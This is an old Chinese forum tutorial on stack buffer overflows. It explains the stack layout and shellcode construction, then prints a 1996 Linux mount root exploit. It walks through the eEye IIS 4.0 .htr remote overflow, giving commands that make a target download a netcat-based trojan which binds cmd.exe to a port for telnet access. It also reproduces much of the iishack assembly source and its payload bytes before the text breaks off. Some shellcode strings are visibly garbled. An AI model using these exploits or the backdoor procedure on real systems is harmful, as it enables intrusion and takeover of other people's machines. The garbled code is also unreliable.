无忧启动论坛

 找回密码
 注册
搜索
系统gho:最纯净好用系统下载站投放广告、加入VIP会员,请联系 微信:wuyouceo
查看: 802|回复: 0
打印 上一主题 下一主题

黑客技术(五)

[复制链接]
跳转到指定楼层
1#
发表于 2003-9-17 23:29:26 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
缓冲区溢出及其攻击
第一节 缓冲区溢出原理
缓冲区是内存中存放数据的地方。在程序试图将数据放到计算机内存中的某一位置,但没有足够空间时会发生缓冲区溢出。
下面对这种技术做一个详细的介绍。
缓冲区是程序运行时计算机内存中的一个连续的块,它保存了给定类型的数据。问题随着动态分配变量而出现。为了不用太多的内存,一个有动态分配变量的程序在程序运行时才决定给他们分配多少内存。
如果程序在动态分配缓冲区放入太多的数据会有什么现象?它溢出了,漏到了别的地方。一个缓冲区溢出应用程序使用这个溢出的数据将汇编语言代码放到计算机的内存中,通常是产生root权限的地方。
单单的缓冲区溢出,并不会产生安全问题。只有将溢出送到能够以root权限运行命令的区域才行。这样,一个缓冲区利用程序将能运行的指令放在了有root权限的内存中,从而一旦运行这些指令,就是以root权限控制了计算机。
总结一下上面的描述。缓冲区溢出指的是一种系统攻击的手段,通过往程序的缓冲区写超出其长度的内容,造成缓冲区的溢出,从而破坏程序的堆栈,使程序转而执行其它指令,以达到攻击的目的。据统计,通过缓冲区溢出进行的攻击占所有系统攻击总数的80%以上。
造成缓冲区溢出的原因是程序中没有仔细检查用户输入的参数。例如下面程序:
example0.c
----------------------------------------------------------------------
void function(char *str) {
char buffer[16];
strcpy(buffer,str);
}
----------------------------------------------------------------------
上面的strcpy()将直接把str中的内容copy到buffer中。这样只要str的长度大于16,就会造成buffer的溢出,使程序运行出错。存在象strcpy这样的问题的标准函数还有strcat(),sprintf(),vsprintf(),gets(),scanf(),以及在循环内的getc(),fgetc(),getchar()等。
在C语言中,静态变量是分配在数据段中的,动态变量是分配在堆栈段的。缓冲区溢出是利用堆栈段的溢出的。
下面通过介绍Linux中怎样利用缓冲区溢出来讲解这一原理。最后介绍一个 eEye公司发现的IIS的一个溢出漏洞来讲解一个很实际的攻击实例。
第二节 制造缓冲区溢出
  一个程序在内存中通常分为程序段,数据端和堆栈三部分。程序段里放着程序的机器码和只读数据,这个段通常是只读,对它的写操作是非法的。数据段放的是程序中的静态数据。动态数据则通过堆栈来存放。在内存中,它们的位置如下:
/――――――――   内存低端
| 程序段 |
|―――――――――|
| 数据段 |
|―――――――――|
| 堆栈 |
\u8213―――――――――/ 内存高端
堆栈是内存中的一个连续的块。一个叫堆栈指针的寄存器(SP)指向堆栈的栈顶。堆栈的底部是一个固定地址。
堆栈有一个特点就是,后进先出。也就是说,后放入的数据第一个取出。它支持两个操作,PUSH和POP。PUSH是将数据放到栈的顶端,POP是将栈顶的数据取出。
在高级语言中,程序函数调用和函数中的临时变量都用到堆栈。参数的传递和返回值是也用到了堆栈。通常对局部变量的引用是通过给出它们对SP的偏移量来实现的。另外还有一个基址指针(FP,在Intel芯片中是BP),许多编译器实际上是用它来引用本地变量和参数的。通常,参数的相对FP的偏移是正的,局部变量是负的。
当程序中发生函数调用时,计算机做如下操作:首先把参数压入堆栈;然后保存指令寄存器(IP)中的内容,做为返回地址(RET);第三个放入堆栈的是基址寄存器(FP);然后把当前的栈指针(SP)拷贝到FP,做为新的基地址;最后为本地变量留出一定空间,把SP减去适当的数值。
下面举个例子:
example1.c:
------------------------------------------------------------------------------
void function(int a, int b, int c) {
char buffer1[5];
char buffer2[10];
}
void main() {
function(1,2,3);
}
------------------------------------------------------------------------------
为了理解程序是怎样调用函数function()的,使用-S选项,在Linux下,用gcc进行编译,产生汇编代码输出:
$ gcc -S -o example1.s example1.c
看看输出文件中调用函数的那部分:
pushl $3
pushl $2
pushl $1
call function
这就将3个参数压到堆栈里了,并调用function()。指令call会将指令指针IP压入堆栈。在返回时,RET要用到这个保存的IP。
在函数中,第一要做的事是进行一些必要的处理。每个函数都必须有这些过程:
pushl %ebp
movl %esp,%ebp
subl $20,%esp
这几条指令将EBP,基址指针放入堆栈。然后将当前SP拷贝到EBP。然后,为本地变量分配空间,并将它们的大小从SP里减掉。由于内存分配是以字为单位的,因此,这里的buffer1用了8字节(2个字,一个字4字节)。Buffer2用了12字节(3个字)。所以这里将ESP减了20。这样,现在,堆栈看起来应该是这样的。
低端内存 高端内存
buffer2 buffer1 sfp ret a b c
< ------ [ ][ ][ ][ ][ ][ ][ ]
栈顶 栈底
  缓冲区溢出就是在一个缓冲区里写入过多的数据。那怎样利用呢,看一下下面程序:
example2.c
----------------------------------------------------------------------
void function(char *str) {
char buffer[16];
strcpy(buffer,str);
}
void main() {
char large_string[256];
int i;
for( i = 0; i < 255; i++)
large_string = 'A';
function(large_string);
}
----------------------------------------------------------------------
  这个程序是一个经典的缓冲区溢出编码错误。函数将一个字符串不经过边界检查,拷贝到另一内存区域。当调用函数function()时,堆栈如下:
低内存端 buffer sfp ret *str 高内存端
< ------ [ ][ ][ ][ ]
栈顶 栈底
很明显,程序执行的结果是"Segmentation fault (core
dumped)"或类似的出错信息。因为从buffer开始的256个字节都将被*str的内容'A'覆盖,包括sfp,
ret,甚至*str。'A'的十六进值为0x41,所以函数的返回地址变成了0x41414141, 这超出了程序的地址空间,所以出现段错误。
可见,缓冲区溢出允许我们改变一个函数的返回地址。通过这种方式,可以改变程序的执行顺序。
第三节 通过缓冲区溢出获得用户SHELL
  再回过头看看第一个例子:
低端内存 高端内存
buffer2 buffer1 sfp ret a b c
< ------ [ ][ ][ ][ ][ ][ ][ ]
栈顶 栈底
将第一个example1.c的代码改动一下,用来覆盖返回地址,显示怎样能利用它来执行任意代码。在上图中,buffer1前面的上sfp,再前面的是ret。而且buffer1[]实际上是8个字节,因此,返回地址是从buffer1[]起始地址算起是12个字节。在程序中,将返回地址设置成跳过语句"x=1;",因此,程序的运行结果显示成一个0,而不是1。
example3.c:
------------------------------------------------------------------------------
void function(int a, int b, int c) {
char buffer1[5];
char buffer2[10];
int *ret;
ret = buffer1 + 12;
(*ret) += 8;
}
void main() {
int x;
x = 0;
function(1,2,3);
x = 1;
printf("%d",x);
}
  用gdb调试。
  $ gdb example3
(gdb) disassemble main
Dump of assembler code for function main:
0x8000490 < main>: pushl %ebp
0x8000491 < main+1>: movl %esp,%ebp
0x8000493 < main+3>: subl $0x4,%esp
0x8000496 < main+6>: movl $0x0,0xfffffffc(%ebp)
0x800049d < main+13>: pushl $0x3
0x800049f < main+15>: pushl $0x2
0x80004a1 < main+17>: pushl $0x1
0x80004a3 < main+19>: call 0x8000470 < function>
0x80004a8 < main+24>: addl $0xc,%esp
0x80004ab < main+27>: movl $0x1,0xfffffffc(%ebp)
0x80004b2 < main+34>: movl 0xfffffffc(%ebp),%eax
0x80004b5 < main+37>: pushl %eax
0x80004b6 < main+38>: pushl $0x80004f8
0x80004bb < main+43>: call 0x8000378 < printf>
0x80004c0 < main+48>: addl $0x8,%esp
0x80004c3 < main+51>: movl %ebp,%esp
0x80004c5 < main+53>: popl %ebp
0x80004c6 < main+54>: ret
0x80004c7 < main+55>: nop
------------------------------------------------------------------------------
可见在调用function()之前,RET的返回地址将是0x8004a8,我们想要跳过0x80004ab,去执行0x8004b2。
在能够修改程序执行顺序之后,想要执行什么程序呢?通常希望程序去执行Shell,在Shell里,就能执行希望执行的指令了。
如果在溢出的缓冲区中写入想执行的代码,再覆盖返回地址(ret)的内容,使它指向缓冲区的开头,就可以达到运行其它指令的目的。
在C语言中,调用shell的程序是这样的:
shellcode.c
-----------------------------------------------------------------------------
#include < stdio.h>
void main() {
char *name[2];
name[0] = "/bin/sh";
name[1] = NULL;
execve(name[0], name, NULL);
}
------------------------------------------------------------------------------
看一下这段程序的二进制代码:
$ gcc -o shellcode -ggdb -static shellcode.c
$ gdb shellcode
(gdb) disassemble main
Dump of assembler code for function main:
0x8000130 < main>: pushl %ebp
0x8000131 < main+1>: movl %esp,%ebp
0x8000133 < main+3>: subl $0x8,%esp
0x8000136 < main+6>: movl $0x80027b8,0xfffffff8(%ebp)
0x800013d < main+13>: movl $0x0,0xfffffffc(%ebp)
0x8000144 < main+20>: pushl $0x0
0x8000146 < main+22>: leal 0xfffffff8(%ebp),%eax
0x8000149 < main+25>: pushl %eax
0x800014a < main+26>: movl 0xfffffff8(%ebp),%eax
0x800014d < main+29>: pushl %eax
0x800014e < main+30>: call 0x80002bc < __execve>
0x8000153 < main+35>: addl $0xc,%esp
0x8000156 < main+38>: movl %ebp,%esp
0x8000158 < main+40>: popl %ebp
0x8000159 < main+41>: ret
End of assembler dump.
(gdb) disassemble __execve
Dump of assembler code for function __execve:
0x80002bc < __execve>: pushl %ebp
0x80002bd < __execve+1>: movl %esp,%ebp
0x80002bf < __execve+3>: pushl %ebx
0x80002c0 < __execve+4>: movl $0xb,%eax
0x80002c5 < __execve+9>: movl 0x8(%ebp),%ebx
0x80002c8 < __execve+12>: movl 0xc(%ebp),%ecx
0x80002cb < __execve+15>: movl 0x10(%ebp),%edx
0x80002ce < __execve+18>: int $0x80
0x80002d0 < __execve+20>: movl %eax,%edx
0x80002d2 < __execve+22>: testl %edx,%edx
0x80002d4 < __execve+24>: jnl 0x80002e6 < __execve+42>
0x80002d6 < __execve+26>: negl %edx
0x80002d8 < __execve+28>: pushl %edx
0x80002d9 < __execve+29>: call 0x8001a34 < __normal_errno_location>
0x80002de < __execve+34>: popl %edx
0x80002df < __execve+35>: movl %edx,(%eax)
0x80002e1 < __execve+37>: movl $0xffffffff,%eax
0x80002e6 < __execve+42>: popl %ebx
0x80002e7 < __execve+43>: movl %ebp,%esp
0x80002e9 < __execve+45>: popl %ebp
0x80002ea < __execve+46>: ret
0x80002eb < __execve+47>: nop
End of assembler dump.
------------------------------------------------------------------------------
  研究一下main:
------------------------------------------------------------------------------
0x8000130 < main>: pushl %ebp
0x8000131 < main+1>: movl %esp,%ebp
0x8000133 < main+3>: subl $0x8,%esp
这段代码是main()函数的进入代码,为变量name留出空间。
0x8000136 < main+6>: movl $0x80027b8,0xfffffff8(%ebp)
0x800013d < main+13>: movl $0x0,0xfffffffc(%ebp)
这里实现了name[0] = "/bin/sh";语句。
接下来是调用execve()函数。
0x8000144 < main+20>: pushl $0x0
0x8000146 < main+22>: leal 0xfffffff8(%ebp),%eax
0x8000149 < main+25>: pushl %eax
0x800014a < main+26>: movl 0xfffffff8(%ebp),%eax
0x800014d < main+29>: pushl %eax
  前面几句是参数传递。
0x800014e < main+30>: call 0x80002bc < __execve>
再来分析一下execve()函数。
0x80002bc < __execve>: pushl %ebp
0x80002bd < __execve+1>: movl %esp,%ebp
0x80002bf < __execve+3>: pushl %ebx
这是每个函数的进入必须处理部分。
0x80002c0 < __execve+4>: movl $0xb,%eax
将eax拷贝到堆栈上的0xb(11)处。这是系统调用表的索引,及是execve调用。
0x80002c5 < __execve+9>: movl 0x8(%ebp),%ebx
0x80002c8 < __execve+12>: movl 0xc(%ebp),%ecx
0x80002cb < __execve+15>: movl 0x10(%ebp),%edx
0x80002ce < __execve+18>: int $0x80
进入中断,也就是系统内核,实现系统调用。为了防止execve调用不成功,可以在程序后面再加入一个exit系统调用。
将上面所述,我们就得出一段调用shell的二进制(汇编)代码:
------------------------------------------------------------------------------
movl string_addr,string_addr_addr
movb $0x0,null_byte_addr
movl $0x0,null_addr
movl $0xb,%eax
movl string_addr,%ebx
leal string_addr,%ecx
leal null_string,%edx
int $0x80
movl $0x1, %eax
movl $0x0, %ebx
int $0x80
/bin/sh string goes here.
------------------------------------------------------------------------------
由于我们不知道程序的运行空间,所以使用JMP和CALL指令。这两个指令可以使用相对地址。如果在“/bin/sh”前放一条CALL指令,并将一个JMP指令跳向它。这个字符串地址将PUSH到堆栈上,作为CALL的返回地址。我们所做的就是将返回地址拷贝到一个寄存器。那么程序的执行顺序如下:
内存低端 DDDDDDDDEEEEEEEEEEEE EEEE FFFF FFFF FFFF FFFF 内存高端
89ABCDEF0123456789AB CDEF 0123 4567 89AB CDEF
buffer sfp ret a b c
< ------ [JJSSSSSSSSSSSSSSCCss][ssss][0xD8][0x01][0x02][0x03]
^|^ ^| |
|||_____________||____________| (1)
(2) ||_____________||
|______________| (3)
栈顶 栈底
  经过这些改动后,使用索引地址,参考下面的代码:
------------------------------------------------------------------------------
jmp 0x26 # 2 bytes
popl %esi # 1 byte
movl %esi,0x8(%esi) # 3 bytes
movb $0x0,0x7(%esi) # 4 bytes
movl $0x0,0xc(%esi) # 7 bytes
movl $0xb,%eax # 5 bytes
movl %esi,%ebx # 2 bytes
leal 0x8(%esi),%ecx # 3 bytes
leal 0xc(%esi),%edx # 3 bytes
int $0x80 # 2 bytes
movl $0x1, %eax # 5 bytes
movl $0x0, %ebx # 5 bytes
int $0x80 # 2 bytes
call -0x2b # 5 bytes
.string "/bin/sh" # 8 bytes
------------------------------------------------------------------------------
通常将上面这段代码翻译成二进制代码,放在一个数组里。
将上面的程序用机器码表示即可得到下面的十六进制shell代码字符串。
char shellcode[] =
"fecb"
"dedc"
"/bin/sh";
  下面的程序是怎样利用的示范:
example4.c
----------------------------------------------------------------------
char shellcode[] =
"fecb"
"dedc"
"/bin/sh";
char large_string[128];
void main() {
char buffer[96];
int i;
long *long_ptr = (long *) large_string;
for (i = 0; i < 32; i++)
*(long_ptr + i) = (int) buffer;
for (i = 0; i < strlen(shellcode); i++)
large_string = shellcode;
strcpy(buffer,large_string);
}
----------------------------------------------------------------------
这个程序所做的是,在large_string中填入buffer的地址,并把shell代码放到large_string的前面部分。然后将large_string拷贝到buffer中,造成它溢出,使返回地址变为buffer,而buffer的内容为shell代码。
这样当程序试从strcpy()中返回时,就会转而执行shell。
第四节 利用缓冲区溢出进行的系统攻击
  如果已知某个程序有缓冲区溢出的缺陷,如何知道缓冲区的地址,在那儿放入shell代码呢?由于每个程序的堆栈起始地址是固定的,所以理论上可以通过反复重试缓冲区相对于堆栈起始位置的距离来得到。但这样的盲目猜测可能要进行数百上千次,实际上是不现实的。解决的办法是利用空指令NOP。在shell代码前面放一长串的NOP,返回地址可以指向这一串NOP中任一位置,执行完NOP指令后程序将激活shell进程。这样就大大增加了猜中的可能性。可以编写程序来自动实现这一功能。请参见下面的这个比较经典的程序。
低内存端 buffer sfp ret *str 高内存端
< ------ [NNNNNNNSSSSSSSSSSSSSSSSS][ ][ ][ ]
栈顶 ^ | 栈底
|_______________________________|
图中,N代表NOP,S代表shell。下面是一个缓冲区溢出攻击的实例,它利用了系统程序mount的漏洞:
example5.c
----------------------------------------------------------------------
/* Mount Exploit for Linux, Jul 30 1996
Discovered and Coded by Bloodmask & Vio
Covin Security 1996
*/
#include < unistd.h>
#include < stdio.h>
#include < stdlib.h>
#include < fcntl.h>
#include < sys/stat.h>
#define PATH_MOUNT "/bin/umount"
#define BUFFER_SIZE 1024
#define DEFAULT_OFFSET 50
u_long get_esp()
{
__asm__("movl %esp, %eax");
}
main(int argc, char **argv)
{
u_char execshell[] =
"edeebf"
"bdebb"
"/bin/sh";
char *buff = NULL;
unsigned long *addr_ptr = NULL;
char *ptr = NULL;
int i;
int ofs = DEFAULT_OFFSET;
buff = malloc(4096);
if(!buff)
{
printf("can't allocate memory");
exit(0);
}
ptr = buff;
/* fill start of buffer with nops */
memset(ptr, 0x90, BUFFER_SIZE-strlen(execshell));
ptr += BUFFER_SIZE-strlen(execshell);
/* stick asm code into the buffer */
for(i=0;i < strlen(execshell);i++)
*(ptr++) = execshell;
addr_ptr = (long *)ptr;
for(i=0;i < (8/4);i++)
*(addr_ptr++) = get_esp() + ofs;
ptr = (char *)addr_ptr;
*ptr = 0;
(void)alarm((u_int)0);
printf("Discovered and Coded by Bloodmask and Vio, Covin 1996");
execl(PATH_MOUNT, "mount", buff, NULL);
}
----------------------------------------------------------------------
程序中get_esp()函数的作用就是定位堆栈位置。程序首先分配一块暂存区buff,然后在buff的前面部分填满NOP,后面部分放shell代码。最后部分是希望程序返回的地址,由栈地址加偏移得到。当以buff为参数调用mount时,将造成mount程序的堆栈溢出,其缓冲区被buff覆盖,而返回地址将指向NOP指令。
由于mount程序的属主是root且有suid位,普通用户运行上面程序的结果将获得一个具有root权限的shell。
第五节 缓冲区溢出应用攻击实例
  eEye - Digital Security
Team利用他们开发的Retina网络安全扫描器时,发现了微软IIS4.0的一个缓冲区溢出漏洞,从而产生了一些列的攻击。下面是对这一过程的详细分析。
受到影响的系统
Internet Information Server 4.0 (IIS4)
Microsoft Windows NT 4.0 SP3 Option Pack 4
Microsoft Windows NT 4.0 SP4 Option Pack 4
Microsoft Windows NT 4.0 SP5 Option Pack 4
  目前,Internet上90%的NT Web服务器运行的是上述系统。所以这一造成的后果是相当巨大的。
原理
IIS把整个的URL地址传给处理IIS默认后缀(.ASP, .IDC, .HTR)的DLL。如果ISAPI
DLL没有一个很好的边界检查的话,会产生一个缓冲区溢出,它利用IIS(inetinfo.exe),允许执行远程计算机上的任意代码。
利用这一原理,eEye利用Retina使用这些后缀,来探测是否存在这样的漏洞。结果,发现了这样的漏洞。在发送"GET /[overflow].htr
HTTP/1.0"后,对方的服务器没有反映了。于是,使用调试器,进行分析后发现,这个缓冲区有3K。请参看前面介绍的原理。
  下面是调试信息:
EAX = 00F7FCC8 EBX = 00F41130
ECX = 41414141 EDX = 77F9485A
ESI = 00F7FCC0 EDI = 00F7FCC0
EIP = 41414141 ESP = 00F4106C
EBP = 00F4108C EFL = 00000246
注: Retina使用"A" (0x41)来填充缓冲区。
解释:
  这个溢出和.HTR后缀有关。IIS包含了允许Windows
NT用户通过web目录/iisadmpwd/改变他们的口令的能力。这个特点是由一系列的.HTR文件和ISAPI后缀文件ISM.DLL实现的。因此,在将URL传递给ISM.DLL的这一行的某个地方,并没有进行边界检查,于是就发生了溢出。.HTR/ISM.DLL
ISAPI过滤器都在IIS服务器上缺省安装。
攻击方法
利用上述的毛病,eEye写了两个程序: iishack.exe和 ncx.exe。
把ncx.exe拷贝到你的web服务器上。ncx.exe是一个特洛伊木马程序,是netcat.exe的改进程序。主要变化是将-l -p 80 -t -e
cmd.exe作为一个固定的参数运行,始终将cmd.exe绑定在80端口。ncx..exe的代码也比netcat.exe要小,有利于攻击。
如果不能在服务器上使用ncx.exe的话,可以使用ncx99.exe。主要原因是ncx.exe绑定80端口,有可能不能用。Ncx99.exe绑定99端口。
假设你的web server是:www.mysvr.com,对方的IIS server是www.xxx.com 。运行下面的命令:
iishack www.xxx.com 80 www.mysvr.com/ncx99.exe (注意,不要加http://字符!)
  运行后,可以看到如下信息:
------(IIS 4.0 remote buffer overflow exploit)-----------------
(c) dark spyrit -- barns@eeye.com.
http://www.eEye.com
[usage: iishack < host> < port> < url> ]
eg - iishack www.xxx.com 80 www.mysvr.com/thetrojan.exe
do not include 'http://' before hosts!
---------------------------------------------------------------
Data sent!
  等待足够多的时间。这样,你已经利用这一漏洞并在被攻击的服务器上留下后门了。随后,可以使用Telnet来操作对方的计算机。
Telnet www.xxx.com 99
  结果是这样:
Microsoft(R) Windows NT(TM)
(C) Copyright 1985-1996 Microsoft Corp.
C:>
  这就说明你已经能进入对方的计算机了。现在可以进行任何想要进行的操作了。
如果想要退出,只需键入exit。
  对这个漏洞的补救方法:在IIS的www service属性中将主目录的应用程序设置的*.htr的映射删除。
Iishack.exe程序的源代码
  下面将iishack.exe的源代码放在这里,供有兴趣者参考。在分析这段代码时,请参照前面的原理的讲解。如要编译成可执行代码,请用Turbo ASM来编译。
; IIS 4.0 remote overflow exploit.
; (c) dark spyrit -- barns@eeye.com
;
; greets & thanks to: neophyte/sacx/tree/everyone in #mulysa and
; #beavuh... and all the other kiwi's except ceo.
;
; credits to acp for the console stuff..
;
; I don't want to go in too deeply on the process of exploiting buffer
; overflows... there's various papers out there on this subject, instead I'll
; give just a few specifics relating to this one..
;
; Microsoft was rather good to us on this occasion, stuffing our eip value
; directly into a register then calling it.. no need to stuff valid addresses
; to make our way through various routines to eventually return to our
; address... but, unfortunately it wasn't all smooth sailing.
; Various bytes and byte sequences I was forced to avoid, as you'll quickly
; notice should you bother debugging this.. various push/pop pairs etc.
; I don't bother with any cleanup when all is done, NT's exception handling
; can cope with the mess :)
;
; The exploit works by redirecting the eip to the address of a loaded dll,
; in this case ISM.DLL. Why?
; Because its loaded in memory, is loaded at a high address which gets around
; the null byte problem.. and is static on all service packs.
; The code from ISM.DLL jumps to my code, which creates a jump table of
; of functions we'll need, including the socket functions.. we do this
; because unfortunately the dll's import tables don't include nearly enough
; of the functions we need..
;
; The socket structure is created and filled at runtime, I had to do this
; at runtime because of the bad byte problem.. after this a small buffer is
; created, a get request issued to the web site of the file you want to
; download.. file is then received/saved to disk/and executed..
; Simple huh? no not really :)
;
; Have fun with this one... feel free to drop me an email with any comments.
;
; And finally, heh.. "caveat emptor".
;
;
; you can grab the assembled exe at http://www.eEye.com.
;
; to assemble:
;
; tasm32 -ml iishack.asm
; tlink32 -Tpe -c -x iishack.obj ,,, import32
 
.386p
locals
jumps
.model flat, stdcall
 
extrn GetCommandLineA:PROC
extrn GetStdHandle:PROC
extrn WriteConsoleA:PROC
extrn ExitProcess:PROC
extrn WSAStartup:PROC
extrn connect:PROC
extrn send:PROC
extrn recv:PROC
extrn WSACleanup:PROC
extrn gethostbyname:PROC
extrn htons:PROC
extrn socket:PROC
extrn inet_addr:PROC
extrn closesocket:PROC
.data
sploit_length equ 1157
sploit:
db "GET /"
db 041h, 041h, 041h, 041h, 041h, 041h, 041h
db 576 dup (041h)
db 041h, 041h, 041h, 041h, 041h, 041h, 0b0h, 087h, 067h, 068h, 0b0h, 087h
db 067h, 068h, 090h, 090h, 090h, 090h, 058h, 058h, 090h, 033h, 0c0h, 050h
db 05bh, 053h, 059h, 08bh, 0deh, 066h, 0b8h, 021h, 002h, 003h, 0d8h, 032h
db 0c0h, 0d7h, 02ch, 021h, 088h, 003h, 04bh, 03ch, 0deh, 075h, 0f4h, 043h
db 043h, 0bah, 0d0h, 010h, 067h, 068h, 052h, 051h, 053h, 0ffh, 012h, 08bh
db 0f0h, 08bh, 0f9h, 0fch, 059h, 0b1h, 006h, 090h, 05ah, 043h, 032h, 0c0h
db 0d7h, 050h, 058h, 084h, 0c0h, 050h, 058h, 075h, 0f4h, 043h, 052h, 051h
db 053h, 056h, 0b2h, 054h, 0ffh, 012h, 0abh, 059h, 05ah, 0e2h, 0e6h, 043h
db 032h, 0c0h, 0d7h, 050h, 058h, 084h, 0c0h, 050h, 058h, 075h, 0f4h, 043h
db 052h, 053h, 0ffh, 012h, 08bh, 0f0h, 05ah, 033h, 0c9h, 050h, 058h, 0b1h
db 005h, 043h, 032h, 0c0h, 0d7h, 050h, 058h, 084h, 0c0h, 050h, 058h, 075h
db 0f4h, 043h, 052h, 051h, 053h, 056h, 0b2h, 054h, 0ffh, 012h, 0abh, 059h
db 05ah, 0e2h, 0e6h, 033h, 0c0h, 050h, 040h, 050h, 040h, 050h, 0ffh, 057h
db 0f4h, 089h, 047h, 0cch, 033h, 0c0h, 050h, 050h, 0b0h, 002h, 066h, 0abh
db 058h, 0b4h, 050h, 066h, 0abh, 058h, 0abh, 0abh, 0abh, 0b1h, 021h, 090h
db 066h, 083h, 0c3h, 016h, 08bh, 0f3h, 043h, 032h, 0c0h, 0d7h, 03ah, 0c8h
db 075h, 0f8h, 032h, 0c0h, 088h, 003h, 056h, 0ffh, 057h, 0ech, 090h, 066h
db 083h, 0efh, 010h, 092h, 08bh, 052h, 00ch, 08bh, 012h, 08bh, 012h, 092h
db 08bh, 0d7h, 089h, 042h, 004h, 052h, 06ah, 010h, 052h, 0ffh, 077h, 0cch
db 0ffh, 057h, 0f8h, 05ah, 066h, 083h, 0eeh, 008h, 056h, 043h, 08bh, 0f3h
db 0fch, 0ach, 084h, 0c0h, 075h, 0fbh, 041h, 04eh, 0c7h, 006h, 08dh, 08ah
db 08dh, 08ah, 081h, 036h, 080h, 080h, 080h, 080h, 033h, 0c0h, 050h, 050h
db 06ah, 048h, 053h, 0ffh, 077h, 0cch, 0ffh, 057h, 0f0h, 058h, 05bh, 08bh
db 0d0h, 066h, 0b8h, 0ffh, 00fh, 050h, 052h, 050h, 052h, 0ffh, 057h, 0e8h
db 08bh, 0f0h, 058h, 090h, 090h, 090h, 090h, 050h, 053h, 0ffh, 057h, 0d4h
db 08bh, 0e8h, 033h, 0c0h, 05ah, 052h, 050h, 052h, 056h, 0ffh, 077h, 0cch
db 0ffh, 057h, 0ech, 080h, 0fch, 0ffh, 074h, 00fh, 050h, 056h, 055h, 0ffh
db 057h, 0d8h, 080h, 0fch, 0ffh, 074h, 004h, 085h, 0c0h, 075h, 0dfh, 055h
db 0ffh, 057h, 0dch, 033h, 0c0h, 040h, 050h, 053h, 0ffh, 057h, 0e4h, 090h
db 090h, 090h, 090h, 0ffh, 06ch, 066h, 073h, 06fh, 066h, 06dh, 054h, 053h
db 021h, 080h, 08dh, 084h, 093h, 086h, 082h, 095h, 021h, 080h, 08dh, 098h
db 093h, 08ah, 095h, 086h, 021h, 080h, 08dh, 084h, 08dh, 090h, 094h, 086h
db 021h, 080h, 08dh, 090h, 091h, 086h, 08fh, 021h, 078h, 08ah, 08fh, 066h
db 099h, 086h, 084h, 021h, 068h, 08dh, 090h, 083h, 082h, 08dh, 062h, 08dh
db 08dh, 090h, 084h, 021h, 078h, 074h, 070h, 064h, 06ch, 054h, 053h, 021h
db 093h, 086h, 084h, 097h, 021h, 094h, 086h, 08fh, 085h, 021h, 094h, 090h
db 084h, 08ch, 086h, 095h, 021h, 084h, 090h, 08fh, 08fh, 086h, 084h, 095h
db 021h, 088h, 086h, 095h, 089h, 090h, 094h, 095h, 083h, 09ah, 08fh, 082h
db 08eh, 086h, 021h, 090h, 098h, 08fh, 04fh, 086h, 099h, 086h, 021h
_url2 db 85 dup (021h)
db ".htr HTTP/1.0"
db 00dh,00ah, 00dh, 00ah
logo db "------(IIS 4.0 remote buffer overflow
exploit)---------------------------------", 13, 10
db "(c) dark spyrit -- barns@eeye.com.",13,10
db "http://www.eEye.com",13,10,13,10
db "[usage: iishack < host> < port> < url>]", 13, 10
db "eg - iishack www.example.com 80 www.myserver.com/thetrojan.exe",13,10
db "do not include 'http://' before hosts!",13,10
db
"-------------------------------------------------------------------------------",
13, 10, 0
logolen equ $-logo
u_length db 10,"No more than 70 chars in 2nd url.",13,10,0
u_lengthl equ $-u_length
errorinit db 10,"Error initializing winsock.", 13, 10, 0
errorinitl equ $-errorinit
nohost db 10,"No host or IP specified.", 13,10,0
nohostl equ $-nohost
noport db 10,"No port specified.",13,10,0
noportl equ $-noport
no_url db 10,"No URL specified.",13,10,0
no_urll equ $-no_url
urlinv db 10,"Invalid URL.. no file specified?",13,10,0
urlinvl equ $-urlinv
reshost db 10,"Error resolving host.",13,10,0
reshostl equ $-reshost
sockerr db 10,"Error creating socket.",13,10,0
sockerrl equ $-sockerr
ipill db 10,"IP error.",13,10,0
ipilll equ $-ipill
porterr db 10,"Invalid port.",13,10,0
porterrl equ $-porterr
cnerror db 10,"Error establishing connection.",13,10,0
cnerrorl equ $-cnerror
success db 10,"Data sent!",13,10,0
successl equ $-success
console_in dd ?
console_out dd ?
bytes_read dd ?
wsadescription_len equ 256
wsasys_status_len equ 128
WSAdata struct
wVersion dw ?
wHighVersion dw ?
szDescription db wsadescription_len+1 dup (?)
szSystemStatus db wsasys_status_len+1 dup (?)
iMaxSockets dw ?
iMaxUdpDg dw ?
lpVendorInfo dw ?
WSAdata ends
sockaddr_in struct
sin_family dw ?
sin_port dw ?
sin_addr dd ?
sin_zero db 8 dup (0)
sockaddr_in ends
wsadata WSAdata < ?>
sin sockaddr_in < ?>
sock dd ?
numbase dd 10
_port db 256 dup (?)
_host db 256 dup (?)
_url db 256 dup (?)
stuff db 042h, 068h, 066h, 075h, 041h, 050h
.code
start:
call init_console
push logolen
push offset logo
call write_console
call GetCommandLineA
mov edi, eax
mov ecx, -1
xor al, al
push edi
repnz scasb
not ecx
pop edi
mov al, 20h
repnz scasb
dec ecx
cmp ch, 0ffh
jz @@0
test ecx, ecx
jnz @@1
@@0:
push nohostl
push offset nohost
call write_console
jmp quit3
@@1:
mov esi, edi
lea edi, _host
call parse
or ecx, ecx
jnz @@2
push noportl
push offset noport
call write_console
jmp quit3
@@2:
lea edi, _port
call parse
or ecx, ecx
jnz @@3
push no_urll
push offset no_url
call write_console
jmp quit3
@@3:
push ecx
lea edi, _url
call parse
pop ecx
cmp ecx, 71
jb length_ok
push u_lengthl
push offset u_length
call write_console
jmp quit3
length_ok:
mov esi, offset _url
mov edi, offset _url2
@@10:
xor al, al
lodsb
cmp al, 02fh
jz whaq
test al, al
jz @@20
add al, 021h
stosb
jmp @@10
@@20:
push urlinvl
push offset urlinv
call write_console
jmp quit3
 
whaq:
push esi
lea esi, stuff
lodsw
stosw
lodsd
stosd
pop esi
fileget:
xor al, al
lodsb
test al, al
jz getdone
add al, 021h
stosb
jmp fileget
getdone:
push offset wsadata
push 0101h
call WSAStartup
or eax, eax
jz winsock_found
push errorinitl
push offset errorinit
call write_console
jmp quit3
winsock_found:
xor eax, eax
push eax
inc eax
push eax
inc eax
push eax
call socket
cmp eax, -1
jnz socket_ok
push sockerrl
push offset sockerr
call write_console
jmp quit2
socket_ok:
mov sock, eax
mov sin.sin_family, 2
mov esi, offset _port
lewp1:
xor al, al
lodsb
test al, al
jz go
cmp al, 039h
ja port_error
cmp al, 030h
jb port_error
jmp lewp1
port_error:
push porterrl
push offset porterr
call write_console
jmp quit1
go:
mov ebx, offset _port
call str2num
mov eax, edx
push eax
call htons
mov sin.sin_port, ax
mov esi, offset _host
lewp:
xor al, al
lodsb
cmp al, 039h
ja gethost
test al, al
jnz lewp
push offset _host
call inet_addr
cmp eax, -1
jnz ip_aight
